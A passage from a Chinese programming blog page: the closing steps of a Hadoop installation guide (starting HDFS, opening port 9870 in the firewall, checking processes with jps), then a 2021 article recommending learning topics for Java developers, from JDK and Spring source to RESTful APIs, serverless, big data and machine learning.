-format11.进入sbin文件夹,启动hadoop./start-dfs.sh也可以直接全部启动 ./start-all.sh然后直接访问8088端口即可12.防火墙开启端口,如果用的云服务器,请将9870端口加入安全组出入口//添加9870端口到防火墙 firewall-cmd --zone=public --add-port=9870/tcp --permanent //重启防火墙 firewall-cmd --reload13.输入 jps 如果是如果是4个或者5个就配置成功,再继续通过web访问hadoop,访问地址:http://IP地址:9870当我们看到这个的时候,说明我们已经安装成功了。注意,Hadoop3.x 版本的看 Hadoop Web端的端口没有变化,但是 HDFS 端 则由 50070 变成了 9870 这个需要注意一下呦,你学会了么?
Hello 大家好,相信大家跟阿粉一样,在成为卓越的Java 程序员的路上从未停止过学习,作为一个 Java 程序员还有很多我们需要学习的东西,特别是在这样一个技术快速发展的时期可能昨天还在流行的技术,转眼就已经落后了。那么在 2021 年已经接近尾声的时候有哪些技术我们可以继续不断的学习呢?JDK 源码毫无疑问作为Java 程序员 JDK 的源码是我们一直需要不断学习的一个技能。最新发布的版本是在今年 3 月份发布的 Java SE 16,前两个较成熟的版本的 Java 11 和 Java 8,因为这两个版本相对维护的时间会较长,属于LTS(Long Time Support)。对于我们开发者来说,日常工作的项目肯定是要在稳定版本上的,但是日常的学习就可以随意发挥。通过阅读优秀的人写的代码来提高我们自己的能力,附一张 Java 语言发布史。从这张图中我们可以看到Java 版本有四种类型,分别是旧版本,旧版本依旧维护,当前版本,未来版本。当前版本是Java SE16,未来会有 Java SE 17 和Java SE 18。而我们常用的 Java SE 8 和 Java SE 11 属于两个 LTS 虽然是旧版本但是依旧在维护。另外我们可以知道 Java SE 17 将会是一个 LTS 版本,虽然还没有发布,但是我们可以通过学习Java SE 16 来提前了解。附上Java SE 16 的下载地址:https://www.oracle.com/java/technologies/javase-jdk16-downloads.html 大家可以自行选择适配的操作系统进行下载学习。RestFul Web Service近几年 RestFul风格也较为流行,所谓 RestFul是一个设计风格,通过 URL 和HTTP 的动词来表示要进行的操作。可能对于一些小伙伴来说只知道 HTTP 有 GET 和 POST 方法,其实 HTTP 的动词除了这两个常用的还有 PUT,PATCH,DELETE,对应的说明如下,其中 POST,DELETE,PUT,GET 对应的就是我们常说的总删改查:GET(SELECT):从服务器取出资源(一项或多项)。POST(CREATE):在服务器新建一个资源。PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。DELETE(DELETE):从服务器删除资源。例如在进行 API 设计的时候,假设我们有个用户管理的页面需要设计 API,则我们可以设计如下 APIGET /users,GET /users/id:查询用户列表或者一个用户信息;POST /users:创建一个用户信息;PUT /users/id:更新一个用户信息;DELETE /users/id:删除一个用户信息;其中 id 代码用户编号,通过这种路径参数的形式我们就实现了 RestFul 风格的设计,当然如果有多层关系我们可以继续加路径,比如要获取某个班级的某个同学,则可以设计 GET /classes/1/student/2 表示要获取 1 班学号为 2 的同学信息。Spring 目前是支持 RestFul风格的,可以直接使用路径参数就行。Spring Framework前面提到 Spring 支持路径参数,Spring 作为Java 领域的优秀框架,我相信目前很多小伙伴应该都在使用,那如果在有时间和精力的情况下,再学习一下 Spring 的源码,这样不管在工作中还是面试中都会有很不错的表现。很多时候我们可以通过看别人写的优秀的代码来提高自己的代码水平。像 Spring 这样优秀框架代码,很值得我们去深入研究一下。Serveless 架构Serveless 架构可能很多小伙伴还没听过,而且很多小伙伴可能在日常工作中除了写需求代码之外还会涉及到服务器的配置以及运维的工作。而在当下的云原生时代,所有的这一切都可以交给云服务器厂商,关于 Serveless 架构大家可以去看一下公号之前的文档,作为 Java 开发程序员,你知道什么是 Serveless 架构吗?写的比较清楚,而且也有案例。大数据开发身为Java 程序员很多时候我们可能都在写一些业务代码,没有很多的数据量,但是这并不代表我们不需要学习大数据处理能力。虽然说大数据开发是专门一个领域,但是如果我们在工作中懂得这一部分的内容,那升职加薪不是你还会是谁呢?关于大数据相关的知识要学习的也有很多,涉及到的主要是计算和存储。技术点有很多,像 Hadoop,MapReduce,HDFS 这些都是很经典的基石。而像这两年比较火的 Flink 以及 Clickhouse 都是很不错的技术,感兴趣的小伙伴都可以尝试去学习一下,虽然工作中不一定会用到,但是日常学习还是很不错的。机器学习/深度学习最后一个机器学习以及深度学习这块的内容大家可以作为扩展知识去学习了解,这块的内容说真的难度还是蛮高的,但是可以知道是一直是未来方向,而且这一块的工资比普通的开发工程师高很多。如果是刚毕业的同学对这块感兴趣的话可以考虑从事这方便的学习,那如果是已经工作几年了小伙伴想往这个方向转的话,可以需要好好学习一下,或者报个培训班都是可以的。除了上面提到的这几点我们可以去深入学习,其实还有很多,比如现在很火的可穿戴设备,自动驾驶,DevOps,云计算 等等。不得不说程序员这一行要学习的东西太多了,想要不被淘汰与时俱进,持续学习是不变的道理。
2022年09月
2022年07月
2022年02月